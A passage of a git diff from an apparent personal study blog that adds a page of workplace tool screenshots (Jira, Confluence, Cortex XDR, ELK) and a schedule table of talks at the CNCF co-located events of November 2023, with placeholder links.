Soup](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-05-14-BeautifulSoup.md) | 2020-05-14 | UMichigan in Coursera Chapter 12 +9 | [Building a Better Contact Sheet](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-05-31-Building-a-Better-Contact-Sheet.md) | 2020-05-31 | UMichigan in Coursera +10| [Newspaper Face Search](https://github.com/ocholuo/language/tree/master/0.project/pycode/2020-08-30-NewspaperFaceSearch.py) | 2020-08-30 | UMichigan in Coursera + +--- + +:purple_heart: some link: + +⭐ when the runestone error: use [this link](https://runestone.academy/runestone/books/published/fopp/AdvancedAccumulation/toctree.html) to access the text book + +--- + +Data Structure | [Arrays 101]() diff --git a/_posts/00LearningPath/ToolUsed.md b/_posts/00LearningPath/ToolUsed.md new file mode 100644 index 00000000000..f505fc0ad55 --- /dev/null +++ b/_posts/00LearningPath/ToolUsed.md @@ -0,0 +1,61 @@ + + + + +- [The tools i used](#the-tools-i-used) + - [Jira board - project management](#jira-board---project-management) + - [confluence - document](#confluence---document) + - [Palo Alto Network Cortex XDR - Endpoint Security](#palo-alto-network-cortex-xdr---endpoint-security) + - [ELK](#elk) + + + + + +# The tools i used + +--- + +## Jira board - project management + +![Screen Shot 2021-01-27 at 10.31.55](https://i.imgur.com/fctvMd2.png) + +![Screen Shot 2021-01-27 at 10.32.13](https://i.imgur.com/il87EVy.png) + +--- + +## confluence - document + +![Screen Shot 2021-01-27 at 10.33.01](https://i.imgur.com/LA6Hpyt.png) + + + +--- + +## Palo Alto Network Cortex XDR - Endpoint Security + +![Screen Shot 2021-01-27 at 12.55.22](https://i.imgur.com/5oeu10O.png) + +![Screen Shot 2021-01-27 at 12.55.10](https://i.imgur.com/444JmiP.png) + +![Screen Shot 2021-01-27 at 13.00.37](https://i.imgur.com/m4fwax4.png) + + + + +--- + +## ELK + + +![Screen Shot 2021-01-27 at 12.55.35](https://i.imgur.com/hGuqBy0.png) + +![Screen Shot 2021-01-27 at 12.59.41](https://i.imgur.com/bmn1M2N.png) + +![Screen Shot 2021-01-27 at 16.52.58](https://i.imgur.com/HnfNrhh.png) + + + + + +. diff --git a/_posts/00LearningPath/conference/ConferenceREADME.md b/_posts/00LearningPath/conference/ConferenceREADME.md new file mode 100644 index 00000000000..b54e4688c15 --- /dev/null +++ b/_posts/00LearningPath/conference/ConferenceREADME.md @@ -0,0 +1,269 @@ +--- +title: Conference - Learning Path +date: 2017-01-01 11:11:11 -0400 +categories: [00LearningPath] +tags: [LearningPath, code] +pin: true +toc: true +--- + +- [Conference](#conference) + - [20231106 CNCF-Hosted Co-located Events North America 2023](#20231106-cncf-hosted-co-located-events-north-america-2023) + +--- + +# Conference + +--- + +## 20231106 CNCF-Hosted Co-located Events North America 2023 + +Monday, November 6 + +*Cloud Native Telco Day + CiliumCon will be available via live stream on our [virtual platform](https://www.accelevents.com/e/kubecon-cloudnativecon-north-america-2023/portal), +all other co-located event recordings will be available 48-72 hours post-event on the [CNCF YouTube channel](). + + +| 9:50am CST | | Event | Link | +| ----------- | --- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | +| W178AB | | Lessons Learned Migrating an Existing Product to a Multi Tenant Cloud Native Environment - Natalia Angulo & Carlos Sanchez, Adobe | [link](https://tbd.com) | +| W187ABC | | 300 Hours of Repetitive Work in Just 3 Hours by Leveraging Argo Workflows and ArgoCD - Anshul Mehta & Suman Das, Atlan | [link](https://tbd.com) | +| W185ABC | | Building a Bridge Between Argo CD and Terraform - Carlos Santana, AWS & Nicholas Morey, Akuity | [link](https://tbd.com) | +| W184ABCD | | Managing Argo CD Multi-Tenancy Effectively - Gerald Nunn, Red Hat | [link](https://tbd.com) | +| W196ABC | x | GenAI in Backstage - Turbocharge Your Developer Productivity! - Ben Wilcock, VMware | [link](https://tbd.com) | +| W179AB | | Controlling Access to External APIs with Cilium - Luis Ramírez, SuperOrbital | [link](https://tbd.com) | +| W180 | | Running Linux-Based Containers on Wasm and Browser with Container2wasm Converter - Kohei Tokunaga, NTT | [link](https://tbd.com) | +| W471AB | | Zero-Touch Fault-Tolerance for Cloud-Native Geo-Distributed Databases - Selvi Kadirvel, Elotl Inc & Aman Nijawan | [link](https://tbd.com) | +| W193AB | | Building a Self Service DBaaS for Your Internal Developer Platform - George Hantzaras & Dan Mckean, MongoDB | [link](https://tbd.com) | +| W175ABC | | A Spotify Success Story: The Migration of the Web Proxy Layer to Envoy - Sabrina Zotti & Oliver Soell, Spotify | [link](https://tbd.com) | +| W470AB | | Architecting Ambient Mesh for Scale - John Howard, Google | [link](https://tbd.com) | +| W194AB | | How We Power the Largest AI Deployments on the Planet: Running Virtual Clusters at Scale - Brandon Jacobs, CoreWeave & Lukas Gentele, Loft Labs | [link](https://tbd.com) | +| W192ABC | | Pi in the Sky: Onboarding Edge Workloads Into the Service Mesh! - Marino Wijay & Nina Polshakova, Solo.io | [link](https://tbd.com) | +| W176ABC | | Business Observability -- FinOps at Grafana Labs - Richard Hartmann, Grafana Labs | [link](https://tbd.com) | +| 10:20am CST | +| W184ABCD | | Sponsored Keynote: Multi-Stage Deployment Pipelines the GitOps Way - Jesse Suen, Akuity | [link](https://tbd.com) | +| W196ABC | x | Sponsored Keynote: Five Backstage lessons in 5 minutes - Chris Westerhold, Thoughtworks | [link](https://tbd.com) | +| W179AB | | Sponsored Keynote: Advancing Cilium Within the Kubernetes Ecosystem - Idit Levine, Solo.io | [link](https://tbd.com) | +| W192ABC | | Sponsored Keynote: New Frontiers, New Challenges - Saad Malik, Spectro Cloud | [link](https://tbd.com) | +| 10:25am CST | +| W178AB | | Shaping Tomorrow's Technology: Navigating Cloud-Native, Serverless, and Polyglot Programming - Naina Singh & Shaaf Syed, Red Hat | [link](https://tbd.com) | +| W180 | | A Love Letter to Isolation - Kelly Shortridge, Fastly | [link](https://tbd.com) | +| W471AB | x | Distributed Vector Databases - What, Why, and How - Steve Pousty, VMware | [link](https://tbd.com) | +| W193AB | | How to Build Modern DBaaS Using CNCF Ecosystem Technologies - Kamal Gupta & Alok Nikhil, Omnistrate | [link](https://tbd.com) | +| W175ABC | | SLATE: Intelligent Request Routing - Aditya Prerepa, Aviatrix & Gangmuk Lim, University of Illinois at Urbana-Champaign | [link](https://tbd.com) | +| W470AB | | Lessons from Scaling AI Powered Translation Services Using Istio - Tim Gallant, Lilt & Malini Bhandaru, Intel | [link](https://tbd.com) | +| W194AB | | Batch Systems in Production with Kueue: Multi-Tenancy and Fungibility - Yuki Iwai, CyberAgent, Inc. & Aldo Culquicondor, Google | [link](https://tbd.com) | +| W176ABC | | Energy Observability Using Kepler: Revolutionizing Cloud Efficiency - Sally OMalley, Red Hat & Marcelo Amaral, IBM | [link](https://tbd.com) | +| 10:30am CST | +| W184ABCD | | Sponsored Keynote: DevOps in a GitOps World - Gerald Nunn, Red Hat | [link](https://tbd.com) | +| W196ABC | x | Sponsored Keynote: Breaking Barriers: Streamlining Backstage Adoption in Enterprises - Balaji Sivasubramanian, Red Hat | [link](https://tbd.com) | +| W179AB | | Sponsored Keynote: Effortless Mutual Authentication With Cilium`- Christine Kim, Isovalent | [link](https://tbd.com) | +| W192ABC | | Orchestrating Machine Learning on Edge Devices Using Akri and WebAssembly - Shivay Lamba, Meilisearch & Rishit Dagli, University of Toronto, Civo | [link](https://tbd.com) | +| 10:35am CST | +| W184ABCD | | Sponsored Keynote: Argo in an AI-Native World: Effective In-Cluster Machine Learning and Analytics at Scale - Ed Lee, Intuit | [link](https://tbd.com) | +| W196ABC | x | Sponsored Keynote: The Future is Backstage – Spotify’s Vision for the Product - Meg Watson, Spotify | [link](https://tbd.com) | +| 10:50am CST | +| W184ABCD | | Sponsored Keynote: Expanding the Application Lifecycle for Everyone - Raziel Tabib, Codefresh | [link](https://tbd.com) | +| W196ABC | x | Sponsored Keynote: Turn On, Plug In, Ship Code - Entering the Flow State with Backstage - Scott Sisil, VMware | [link](https://tbd.com) | +| 10:55am CST | +| W178AB | | Build Progressive Delivery and Safety Into Your Apps with Feature Flags - Adam Gardner, Dynatrace | [link](https://tbd.com) | +| W184ABCD | | Major League Baseball + Argo CD: A Home Run - Michael Goodness, Major League Baseball | [link](https://tbd.com) | +| W187ABC | | Real Time Argo Rollouts Analytics Powered by Notification Engine - Vijay Agrawal & Henrik Blixt, Intuit | [link](https://tbd.com) | +| W185ABC | | Updating Databases the GitOps Way - Kostis Kapelonis, Codefresh & Rotem Tamir, Ariga | [link](https://tbd.com) | +| W196ABC | x | Evolution of Backstage: Declaring a New Route - Patrik Oldsberg & Ben Lambert, Spotify | [link](https://tbd.com) | +| W179AB | | What's Smoother Than Your Morning Espresso Pull? Bridging Gaps with BGP and Cilium! - Marino Wijay, Solo.io | [link](https://tbd.com) | +| W180 | x | The Falco Playground: A Cocktail of WebAssembly and Runtime Security - Jason Dellaluce, Sysdig & Rohith Raju, Independent | [link](https://tbd.com) | +| W471AB | | Stateful Workloads in Kubernetes: A Deep Dive - Kaslin Fields & Michelle Au, Google | [link](https://tbd.com) | +| W193AB | | Database Parameter Auto-Tuning Through CI/CD Pipelines - Shohei Matsuura, Yahoo Japan Corporation | [link](https://tbd.com) | +| W175ABC | | A Platform-Agnostic Approach to Securing Workloads - Lukonde Mwila, AWS | [link](https://tbd.com) | +| W470AB | | Running an API Gateway on Istio - Pitfalls and Learnings - Karim Lakhani, Intuit | [link](https://tbd.com) | +| W194AB | x | Cluster Operations as a Service, Introducing LLM Backed Controllers. - Rajas Kakodkar, VMware & Amine Hilaly, AWS | [link](https://tbd.com) | +| W192ABC | | Lessons from the Field: Running Kubernetes at the Wellsite - Michael Maxey, ZEDEDA | [link](https://tbd.com) | +| W176ABC | | OTTL Me Why Transforming Telemetry in the OpenTelemetry Collector Just Got Better - Tyler Helmuth, Honeycomb & Evan Bradley, Dynatrace | [link](https://tbd.com) | +| 11:30am CST | +| W178AB | | Modernizing Authorization for Cloud Native Applications Using OpenFGA - Andres Aguiar & María Inés Parnisari, Okta | [link](https://tbd.com) | +| W185ABC | | Lessons from Implementing Pull Request Generated Preview Apps at MasterClass - Alexander Matyushentsev, Akuity & Paul Phipps, MasterClass | [link](https://tbd.com) | +| W184ABCD | | Migrating CI/CD from Jenkins to Argo - Bertrand Quenin, Intuit & Caelan Urquhart Pipekit.io | [link](https://tbd.com) | +| W187ABC | | Tailored Deployment Strategies: Argo Rollouts for Diverse Applications - Larisa Danaila, Adobe | [link](https://tbd.com) | +| W179AB | | Using Cilium CNI in ClickHouse Cloud - Timur Solodovnikov, ClickHouse, Inc | [link](https://tbd.com) | +| W180 | | Extending Sidecarless Applications with Wasm in Istio Ambient Mesh - Lin Sun & Ben Leggett, Solo.io | [link](https://tbd.com) | +| W471AB | | Run PostgreSQL in Warp Speed Using NVMe/TCP in the Cloud - Sagy Volkov, Lightbits | [link](https://tbd.com) | +| W193AB | | Statefulsets on Kubernetes: The Guardians of Your Data Galaxy - Eddie Wassef, Vonage | [link](https://tbd.com) | +| W175ABC | | Introduce MetaProtocol Proxy: A Layer-7 Proxy Framework Powered by Envoy - Huabing Zhao, Tetrate | [link](https://tbd.com) | +| W470AB | | Ambient Operations: Automating Istio Orchestration with Argo - Mitch Connors, Aviatrix & Christian Hernandez, Akuity | [link](https://tbd.com) | +| W194AB | x | Scheduling Jupyter Notebooks Using Airflow on Kubernetes - Akshay Chitneni & Rus Pandey, Apple | [link](https://tbd.com) | +| W192ABC | | Building Smart Farms with Edge Computing Systems Using Kubernetes - Sergio Méndez, Yalo | [link](https://tbd.com) | +| W176ABC | | Dynamic Sampling in Practice - Kent Quirk, Honeycomb | [link](https://tbd.com) | +| W196ABC | x | Panel: A Front Row Seat to Backstage Adoption - Poonam Garg, U.S. Bank; Guillermo Manzo, Expedia Group; Alec Jacobs, Twilio Segment and Kasper Nissen, Lunar | [link](https://tbd.com) | +| 12:10pm CST | +| W178AB | | ⚡ Lightning Talk: Where Has My Circuit Breaker Gone? - Bilgin Ibryam, Diagrid | [link](https://tbd.com) | +| W184ABCD | x | ⚡ Lightning Talk: 🚀 Git Going Fast with Cilium and Argo - Christine Kim, Isovalent | [link](https://tbd.com) | +| W471AB | | ⚡ Lightning Talk: Should You Run Your Database on Kubernetes - George Hantzaras, MongoDB | [link](https://tbd.com) | +| W470AB | | ⚡ Lightning Talk: Dissecting Service Mesh Overheads - Xiangfeng Zhu, University of Washington | [link](https://tbd.com) | +| W194AB | x | ⚡ Lightning Talk: Harnessing Generative AI Without Making a Faux Pas - Shwetha Subramanian, Kasten by Veeam | [link](https://tbd.com) | +| W192ABC | | ⚡ Lightning Talk: Unleashing the Potential of IoT Wireless Devices with Kubernetes at Edge - Vitumbiko Mafeni, Soongsil University | [link](https://tbd.com) | +| W187ABC | | Juggling Argo Rollouts for Progressive Delivery Across Multiple-Services - Dan Garfield, Codefresh | [link](https://tbd.com) | +| W185ABC | | The Journey from ClickOps to GitOps at Ford with Red Hat - Arthur Vardevanyan, Ford Motor Company & Jehlum Vitasta Pandit, Red Hat | [link](https://tbd.com) | +| W175ABC | | Introduction and Usage of Fine-Grain Logger, Admin Console Primer, and Envoy’s Universal HTTP Validator - Boteng Yao & Joshua Marantz & Yan Avlasov, Google | [link](https://tbd.com) | +| W176ABC | x | Monitoring and Metadata - Exploring Approaches to Attaching Metadata to Logs, Metrics and Traces - Ridwan Sharif, Google | [link](https://tbd.com) | +| W193AB | | Panel: The Future of Database as a Service - Oded Poncz, DragonflyDB; Jordan Tigani, MotherDuck; Bart Farrell, Bartfarrell.com; Lisa-Marie Namphy, Cockroach Labs & Monica Sarbu, Xata.io | [link](https://tbd.com) | +| 12:15pm CST | +| W179AB | | Past, Present, Future of Tetragon- First Production Use Cases, Lessons Learnt, Where Are We Heading? - Natalia Reka Ivanko & John Fastabend, Isovalent | [link](https://tbd.com) | +| W180 | | Extending a High-performance Data Streaming System with WebAssembly - Tyler Rockwood, Redpanda | [link](https://tbd.com) | +| 12:20pm CST | | | [link](https://tbd.com) | +| W184ABCD | | ⚡ Lightning Talk: Pull Requests Welcome! - How to Contribute to the Argo Community - Jason Meridth, Procore | [link](https://tbd.com) | +| W196ABC | x | ⚡ Lightning Talk: Behind the Curtain: Multi-Cluster Backstage Deployments with GitOps, Crossplane, and More! - Zachary Zehring, Grafana Labs | [link](https://tbd.com) | +| W471AB | | ⚡ Lightning Talk: Colocating Data Workloads and Web Services on Kubernetes to Improve Resource Utilization - He Cao, ByteDance | [link](https://tbd.com) | +| W470AB | | ⚡ Lightning Talk: Running Arbitrary Code Safely with Istio - Kush Mansingh, Speedscale | [link](https://tbd.com) | +| W194AB | x | ⚡ Lightning Talk: Environmentally Sustainable AI via Power-Aware Batch Scheduling - Atanas Atanasov, Intel | [link](https://tbd.com) | +| W192ABC | | ⚡ Lightning Talk: Diagnosis in a Box - Raghuram Banda, Red Hat | [link](https://tbd.com) | +| 12:25pm CST | +| W194AB | | ⚡ Lightning Talk: SKAO: Next-Generation Radio Astronomy-Driven Big Data - Ugur Yilmaz, SKAO | [link](https://tbd.com) | +| W192ABC | | Closing Remarks, Program Committee Members - Tina Tsou, Arm & Steven Wong, VMware | [link](https://tbd.com) | +| 12:40pm CST | +| W193AB | | Closing Remarks - Ed Huang, PingCAP | [link](https://tbd.com) | +| 1:00pm CST | +| W193AB | | Welcome + Opening Remarks - Program Committee Members - Lucina Stricko, Vulk Coop & Mary Parsons, DISH Wireless | [link](https://tbd.com) | +| W192AB | | Welcome + Opening Remarks - Mohan Atreya, Rafay Systems | [link](https://tbd.com) | +| 1:30pm CST | +| W178AB | | Crafting Resilient and Scalable Systems with Orchestration and Choreography Patterns on Kubernetes - Carlos Santana & Mithun Mallick, AWS | [link](https://tbd.com) | +| W187ABC | | Extending Argo Projects: Customizing Argo CD and Argo Rollouts for Your Needs - Leonardo Luz Almeida & Zach Aller, Intuit | [link](https://tbd.com) | +| W184ABCD | x | How to Train an LLM with Argo Workflows and Hera - JP Zivalich, Pipekit & Flaviu Vadan, Dyno Therapeutics | [link](https://tbd.com) | +| W185ABC | | Scaling Argo Events for Enterprise Scheduling: A Case Study from Intuit - Antonio Si & Prema devi Kuppuswamy, Intuit | [link](https://tbd.com) | +| W196ABC | x | What Does Backstage Really Offer – Looking Beyond Catalog and Templates and Into the Core Platform - Himanshu Mishra, Harness.io | [link](https://tbd.com) | +| W179AB | x | Secure Infrastructure with Combined Runtime and Network Security - Thomas Graf, Isovalent | [link](https://tbd.com) | +| W193AB | | Future of CNCF + LFN's Telco Initiatives - Taylor Carpenter, Vulk Coop & Ranny Haiby, The Linux Foundation | [link](https://tbd.com) | +| W180 | | Syscall Me by Your Name: Sandboxing Wasm Programs - Ryan Petrich, Two Sigma Investments | [link](https://tbd.com) | +| W471AB | | CSI Driver X FUSE Drivers: a Kubernetes Object Storage Solution for AI/ML Data Portability - Jiaxun Song, Google | [link](https://tbd.com) | +| W175ABC | | Envoy Gateway: An in-Depth Guide of Its Benefits, Use Cases, and Features - Ekansh Gupta, Zeta; Shivanshu Raj Shrivastava, Independent | [link](https://tbd.com) | +| W470AB | | Identity, Istio, And You - Jackie Elliott, Microsoft | [link](https://tbd.com) | +| W194AB | | Improving GPU Utilization and Accelerating Model Training with Scheduling Framework and NRI - He Cao, ByteDance | [link](https://tbd.com) | +| W192AB | | Multi-Tenancy Architecture Lessons Learned - Bob Walker, Octopus Deploy | [link](https://tbd.com) | +| W176ABC | | Huddle - Insightful Latency Optimizer for Clusters with Sparse and Complex App Flows - Yash Bhatnagar, Google | [link](https://tbd.com) | +| 1:45pm CST | | Building a Successful OSS Company in the Age of Cloud - Adam Frankl, Dev Angels & Alchemist Accelerator; Jono Bacon, Community Leadership Core; Allison Pickens, The New Normal Fund; Moderated by Dave Zilberman... | [link](https://tbd.com) | +| 2:05pm CST | +| W178AB | | Dapr Workflows: The Key to Simplifying Business Process Orchestration - Alice Gibbons & Kendall Roden, Diagrid | [link](https://tbd.com) | +| W187ABC | | Hitting the Runway with ArgoCD at American Airlines - Christian Hernandez, Akuity & Karl Haworth, American Airlines | [link](https://tbd.com) | +| W184ABCD | x | The ArgoCD AppProject - What Is a Project and How to Power Your Multi-Tenant Security - Luke Philips, & Serhiy Martynenko, The New York Times | [link](https://tbd.com) | +| W185ABC | | The Life of an Argo Workflows Salesperson - Kimberly Lee & Xiaozhou Fang, Salesforce | [link](https://tbd.com) | +| W196ABC | x | Getting Started with Backstage in 2023 - Djamaile Rahamat & Mitchell Hentges, Spotify | [link](https://tbd.com) | +| W179AB | | From Eventual to Strict Encryption – Securing Cilium’s WireGuard Encryption - Leonard Cohnen, Edgeless Systems | [link](https://tbd.com) | +| W193AB | | Nephio: A New Approach for Automating Telco Workloads - Wim Henderickx, Nokia & John Belamaric, Google | [link](https://tbd.com) | +| W180 | | Navigating Strategies for Debugging WASM - Ashwin Kumar Uppala, GitHub & Shivay Lamba, Meilisearch | [link](https://tbd.com) | +| W471AB | | Is It Safe? Security Hardening for Databases Using Kubernetes Operators - Robert Hodges, Altinity | [link](https://tbd.com) | +| W175ABC | | Envoy Gateway Project Update - Arko Dasgupta, Tetrate & Alice Wasko, Ambassador Labs | [link](https://tbd.com) | +| W470AB | | Kiali Beyond the Graph – Troubleshooting Istio - Jay Shaughnessy & Nick Fox, Red Hat | [link](https://tbd.com) | +| W194AB | x | Training Large Language Models on Kubernetes - Ronen Dar, Run:ai | [link](https://tbd.com) | +| W192AB | | Orchestrating Multi-Tenancy Kubernetes Environments with Flux - Priyanka Ravi, Weaveworks | [link](https://tbd.com) | +| W176ABC | | How Prometheus Halved Its Memory Usage - Bryan Boreham, Grafana Labs | [link](https://tbd.com) | +| 2:30pm CST | | Lessons Learned the Hard Way - Solomon Hykes, Dagger; Erica Brescia, Redpoint Ventures | [link](https://tbd.com) | +| 2:35pm CST | +| W184ABCD | | ⚡ Lightning Talk: Towards Greener Deployment: Assessing Energy Efficiency in Argo CD and Traditional CD Pipelines - Al-Hussein Hameed Jasim, Tetra Pak | [link](https://tbd.com) | +| W187ABC | | Click-Free Environment Promotion Driven by ApplicationSets Progressive Syncs - Katie Lamkin & Michael Crenshaw, Intuit | [link](https://tbd.com) | +| W185ABC | | Scaling to Thousands of Data & CI/CD Pipelines Using Argo and Virtual Clusters - Tim Collins, Pipekit & Lukas Gentele, Loft Labs, Inc. | [link](https://tbd.com) | +| 2:40pm CST | +| W178AB | x | AI-Ready Microservice Architecture - Ali Ok & Pierangelo Di Pilato, Red Hat | [link](https://tbd.com) | +| W196ABC | x | Securing Backstage Plugins Using the Permissions Framework - Gorkem Ercan, Red Hat | [link](https://tbd.com) | +| W179AB | | Come BGP with Me - Daneyon Hansen, Solo.io & Yutaro Hayakawa, Isovalent | [link](https://tbd.com) | +| W180 | | Exploit Parallelism for AI Workloads with WASM and OpenMP - Atanas Atanasov & Andrew Brown, Intel | [link](https://tbd.com) | +| W471AB | | Stop Worrying and Keep Querying, Using Automated Multi-Region Disaster Recovery - Shivani Gupta, Elotl & Sergey Pronin, Percona | [link](https://tbd.com) | +| W175ABC | | Envoy Gateway End User Threat Model Report: Raising Awareness of Gateway API Security - James Callaghan, ControlPlane | [link](https://tbd.com) | +| W470AB | | Challenges and Best Practices While Upgrading Istio in a Production Environment - Ekansh Gupta, Zeta & Nirupama Singh, Reskilll | [link](https://tbd.com) | +| W194AB | | Keep HPC Running - an SRE's Guide to Supporting GPUs on Kubernetes - Christopher Dutra, JP Morgan | [link](https://tbd.com) | +| W192AB | | What We Learned Designing & Securing a Multi-Tenant Developer Platform at The New York Times - Ahmed Bebars & David Grizzanti, The New York Times | [link](https://tbd.com) | +| W176ABC | | "How Much Overhead?": How to Evaluate Observability Agent Performance - Braydon Kains, Google Cloud | [link](https://tbd.com) | +| 2:45pm CST | +| W184ABCD | | ⚡ Lightning Talk: Comparing Argo Workflows and Apache Airflow at Scale - J.P Zivalich, Pipekit | [link](https://tbd.com) | +| W193AB | x | ⚡ Lightning Talk: Outsourcing Telco Understanding AI - Self Perfecting Networks - Praveen Mada, DISH Wireless | [link](https://tbd.com) | +| 2:50pm CST | | PM Break 1: Sponsored By OpenSearch - ArgoCon | [link](https://tbd.com) | +| 2:55pm CST | +| W193AB | | ⚡ Lightning Talk: Kubernetes Gateway API for Complex Environments and Service Providers - Philip Klatte, F5, Inc. | [link](https://tbd.com) | +| 3:00pm CST | | GRAND HORIZON BALLROOM F/G (MARRIOTT MARQUIS) | [link](https://tbd.com) | +| 3:05pm CST | | PM Break 3: Sponsored By OpenSearch | [link](https://tbd.com) | +| 3:15pm CST | +| W178AB | | Preview Environments: Now Everyone Is Part of the Software Development Process - Ramiro Berrelleza, Okteto & Sully Martinez | [link](https://tbd.com) | +| W184ABCD | | Orchestrating Rocket Simulations W/ Argo - Ken Caruso, Astra | [link](https://tbd.com) | +| W187ABC | | Streamlining Big Data Workflows with Memoization & Work Avoidance - Alan Clucas, Pipekit & Julie Vogelman, Intuit | [link](https://tbd.com) | +| W185ABC | x | Threat Model Report: Security Considerations for Hardening Declarative GitOps on K8s with Argo CD - Francesco Beltramini & James Callaghan, ControlPlane | [link](https://tbd.com) | +| W196ABC | | How Brazil's Stock Exchange Is Building a Developer Self-Service Platform with Backstage - Gregório Melo, Thoughtworks & Marcos Albino Rodrigues, B3 | [link](https://tbd.com) | +| W179AB | | Day 2 with Cilium - What to Expect Running at Scale - Hemanth Malla & Maxime Visonneau, Datadog | [link](https://tbd.com) | +| W193AB | | A Telco CNF Journey from Zero to Millions - Sharath Rao & Abdul Hannan Khan, Ericsson | [link](https://tbd.com) | +| W180 | | Orchestrating Wasm: Reconciliation Loops Aren't Owned by Kubernetes - Taylor Thomas & Dan Norris, Cosmonic | [link](https://tbd.com) | +| W471AB | | Make Your Kafka Cluster Production-Ready - Jakub Scholz, Red Hat | [link](https://tbd.com) | +| W175ABC | | Proxying HTTP/3 (QUIC) Using CONNECT-UDP with Envoy - Jeongseok Son, Google | [link](https://tbd.com) | +| W470AB | | Bridging Trust Between Multi-Cluster Meshes - Lukonde Mwila & Ovidiu Valeanu, AWS | [link](https://tbd.com) | +| W194AB | | Poisoned Pickles Make You Ill - Adrian Gonzalez-Martin, Seldon | [link](https://tbd.com) | +| W192AB | | Panel: Unlocking the Power of Multi-Tenancy: Perspectives from Platform Leaders - Moderated by Welly Siauw, AWS; Mohan Atreya, Rafay Systems; Ritesh Patel, Nirmata; & Praseeda Sathaye, AWS | [link](https://tbd.com) | +| W176ABC | | Journey from Fluent Bit, Fluentd and Prometheus to OpenTelemetry Collector - Lessons Learned - Marcin "Perk" Stożek, Canonical | [link](https://tbd.com) | +| | | For Founders from Founders: Lessons Learned from Recent Fundraises - David Aronchick, Expanso; Paula Kennedy, Syntasso; Mark Fussell, Diagrid; Moderated by Jesse Robbins, Heavybit | [link](https://tbd.com) | +| | | GRAND HORIZON BALLROOM F/G (MARRIOTT MARQUIS) | [link](https://tbd.com) | +| 3:45pm CST | | Ask Me Anything - Erica Brescia, Redpoint Ventures; Jesse Robbins, Heavybit; Dave Zilberman, Norwest Venture Partners | [link](https://tbd.com) | +| | | GRAND HORIZON BALLROOM F/G (MARRIOTT MARQUIS) | [link](https://tbd.com) | +| 3:50pm CST | +| W178AB | x | Run Your CI in Code, Not YAML - Kyle Penfound, Dagger | [link](https://tbd.com) | +| W196ABC | x | How We Made Backstage Improve Developer Efficiency of 1000+ Engineers - Wolfgang Gottesheim & Andi Grabner, Dynatrace | [link](https://tbd.com) | +| W179AB | | Why KVStoreMesh? Lessons Learned from Scale Testing Cluster Mesh with 50k Nodes Across 255 Clusters - Ryan Drew, Isovalent | [link](https://tbd.com) | +| W193AB | | Evolution of Application Visibility for Telcos: From Programmable Switches to Cloud Native - Himal Kumar, Canopus Networks & Thomas Graf, Isovalent | [link](https://tbd.com) | +| W180 | | Wasm Workers Server: Portable Serverless Apps with WebAssembly - Angel M De Miguel Meana, VMware | [link](https://tbd.com) | +| W471AB | | Stateful Applications and CD Pipelines: What We Learned from DevOps - Christopher Crow, Portworx & Stephen Atwell, Armory.io | [link](https://tbd.com) | +| W175ABC | | A Practical Guide to Understanding and Configuring Envoy Filters - Peter Jausovec, Solo.io | [link](https://tbd.com) | +| W470AB | | Panel: Ask Me Anything About Istio Service Mesh - Lin Sun & Neeraj Poddar, Solo.io; John Howard, Google; Mitch Connors, Aviatrix & Eric Van Norman, IBM | [link](https://tbd.com) | +| W194AB | | Constructing Kubeflow Super Nodes with Karpenter - Roland Barcia & Apoorva Kulkarni, AWS | [link](https://tbd.com) | +| W192AB | | Enhanced Security for Multi-Tenant Architectures: Key Components and Best Practices - Naveen Chakrapani, Rafay Systems & Thomas Labarussias, Sysdig | [link](https://tbd.com) | +| W176ABC | | Observability Considerations for Infrastructure Cost Optimization - Alolita Sharma, Apple | [link](https://tbd.com) | +| W184ABCD | | Sponsored Workshop: Progressive Delivery with Argo Rollouts - Gerald Nunn, Red Hat | [link](https://tbd.com) | +| W187ABC | | Sponsored Workshop: Promotion Between Environments - Dan Garfield, Kostis Kapelonis & Laurent Rochette, Codefresh | [link](https://tbd.com) | +| W185ABC | | Sponsored Workshop: Scaling Multi-cluster Management with Argo CD and Application Sets - Jesse Suen, Hong Wang, Alexander Matyushentsev, Nicholas Morey, & Christian Hernandez, Akuity | [link](https://tbd.com) | +| 4:25pm CST | | GRAND HORIZON BALLROOM F/G (MARRIOTT MARQUIS) | [link](https://tbd.com) | +| W178AB | | Navigating the Shift to Remote Developer Environments - A Year of Insights and Challenges - Andre Marcelo-Tanner, Ada Support | [link](https://tbd.com) | +| W196ABC | | Democratizing Developer Experience - Ryan Emerle, Comcast | [link](https://tbd.com) | +| W179AB | | Migrating from Legacy with Ease, a.k.a. Cilium in Openstack and More - Ondrej Blazek, Seznam.cz | [link](https://tbd.com) | +| W180 | | Wasm Is Becoming the Runtime for LLMs - Michael Yuan, Second State | [link](https://tbd.com) | +| W471AB | | Dynamic Large Scale Spark on Kubernetes: Empowering the Community with Argo Workflows and Argo Events - Ovidiu Valeanu, AWS & Vara Bonthu, Amazon | [link](https://tbd.com) | +| W175ABC | | Tracing HTTP/2 traffic using gRPC tapping filter with hardware acceleration - Devan Nair, Ericsson & Yizhou Xu, Intel | [link](https://tbd.com) | +| W194AB | | Training Foundation Model Workloads on Kubernetes at Scale With MCAD - Abhishek Malvankar & Olivier Tardieu, IBM | [link](https://tbd.com) | +| W192AB | | Embracing Multi-Tenancy While Scaling MLOps - Shivay Lamba, Meilisearch & Shivanshu Raj Shrivastava, Independent | [link](https://tbd.com) | +| W176ABC | | Observe Thy CI/CD Pipelines with OpenTelemetry - Reese Lee, New Relic & Adriana Villela, Lightstep from ServiceNow | [link](https://tbd.com) | +| W193AB | x | Panel: Cloud Native Evolution in Telcom Infrastructure - Yoshihiro Nakajima, NTT DOCOMO; Philippe Ensarguet, Orange, Katsuhiro Horiba, SoftBank Corp, Pal Gronsund, Telenor & Ranny Haiby, Linux Foundation | [link](https://tbd.com) | +| W470AB | x | Workshop: Getting Started with Ambient Mesh: An Interactive Tutorial - Christian Posta & Jim Barton, Solo.io | [link](https://tbd.com) | +| 4:55pm CST | +| W178AB | | ⚡ Lightning Talk: Buildpacks: Conventional Vs. Convenient for Creating Containers - Ram Iyengar, Cloud Foundry Foundation | [link](https://tbd.com) | +| W196ABC | x | ⚡ Lightning Talk: Unblocking Backstage Projects Without Forking - Min Kim, The Frontside Software Inc. | [link](https://tbd.com) | +| W180 | | ⚡ Lightning Talk: WebAssembly from the Inside Out - Edoardo Vacchi, Tetrate | [link](https://tbd.com) | +| W471AB | | ⚡ Lightning Talk: Scaling Time Series Databases on Kubernetes - Ken Ahrens, Speedscale | [link](https://tbd.com) | +| W175ABC | | 